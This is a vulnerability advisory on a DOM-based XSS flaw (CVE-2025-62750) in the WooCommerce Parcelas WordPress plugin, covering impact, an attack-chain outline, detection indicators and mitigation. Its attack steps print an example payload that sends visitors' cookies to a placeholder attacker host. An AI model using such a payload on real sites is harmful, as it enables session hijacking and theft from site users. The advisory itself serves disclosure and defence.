CVE-2025-62750: 
WordPress vulnerability analysis and mitigation

CVE-2025-62750 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WooCommerce Parcelas WordPress plugin developed by Filipe Seabra. It affects all versions up to and including 1.3.5, allowing authenticated attackers with high privileges (Shop Manager or Developer role) to inject malicious scripts into web pages viewed by other users. The vulnerability was reported by Muhammad Yudha - DJ on October 18, 2025, and publicly disclosed by Patchstack on December 31, 2025. It carries a CVSS v3.1 base score of 5.9 (Medium) (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and manifests as a DOM-Based XSS, meaning malicious payloads are processed and executed entirely within the browser's DOM without necessarily being reflected in the server's HTTP response. Exploitation requires an attacker to hold a privileged role (Shop Manager or Developer) on the WordPress site and requires user interaction — a victim must visit or interact with a crafted page. The root cause is insufficient sanitization of user-supplied input during web page generation within the plugin's frontend rendering logic (Patchstack).

Successful exploitation allows an authenticated attacker with Shop Manager or Developer privileges to inject arbitrary JavaScript that executes in the browsers of other users visiting affected pages. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of victims, redirection to malicious sites, or defacement of WooCommerce storefront pages. The scope is changed (S:C in CVSS), meaning the impact extends beyond the attacker's own session to affect other users, with low confidentiality, integrity, and availability impacts (Patchstack, Red Hat CVE).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-62750. The EPSS score is approximately 0.033%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack rates this as low priority and notes it is unlikely to be exploited, though XSS vulnerabilities in WordPress plugins are sometimes leveraged in mass-exploit campaigns targeting large numbers of sites (Patchstack).

1. Reconnaissance: Identify WordPress sites running the WooCommerce Parcelas plugin version 1.3.5 or earlier, using tools like WPScan or manual inspection of plugin directories.
2. Obtain privileged access: Acquire or compromise a Shop Manager or Developer account on the target WordPress/WooCommerce site.
3. Inject malicious payload: Using the privileged account, navigate to the plugin's configuration or input fields within the WooCommerce admin panel and insert a DOM-based XSS payload (e.g., <img src=x onerror=document.location='https://attacker.com/steal?c='+document.cookie>) into a vulnerable parameter.
4. Trigger victim interaction: Lure a target user (e.g., a site administrator or customer) to visit the affected page where the malicious script is rendered in the DOM.
5. Harvest results: The injected script executes in the victim's browser, enabling session token theft, credential harvesting, or further malicious actions (Patchstack).

• Logs: WordPress access logs showing unusual POST or GET requests to WooCommerce Parcelas plugin endpoints containing encoded JavaScript payloads (e.g., <script>, onerror=, javascript:).
• File System: Unexpected modifications to plugin files in wp-content/plugins/woocommerce-parcelas/ that may indicate tampering.
• Network: Outbound browser requests from victim machines to unknown external domains shortly after visiting WooCommerce storefront pages (indicative of data exfiltration via injected scripts).
• Logs: WordPress admin audit logs showing Shop Manager or Developer accounts making unusual configuration changes to the WooCommerce Parcelas plugin settings.

At the time of disclosure (December 31, 2025), Patchstack reported no official patched version was available for the WooCommerce Parcelas plugin. Site administrators should monitor the WordPress plugin repository for an updated version (1.3.6 or later, as indicated by Feedly intelligence) and apply it immediately upon release. As an interim measure, consider deactivating and removing the plugin if it is not critical to operations, restricting Shop Manager and Developer role assignments to trusted users only, and deploying a Web Application Firewall (WAF) with XSS filtering rules (Patchstack).

The vulnerability was discovered by security researcher Muhammad Yudha - DJ and disclosed through Patchstack's vulnerability database on December 31, 2025. Patchstack classified it as low priority, noting it is unlikely to be exploited in a targeted manner, though it acknowledged that XSS vulnerabilities in WordPress plugins are frequently used in mass-exploit campaigns. No significant broader media coverage or notable researcher commentary beyond the Patchstack advisory has been identified (Patchstack).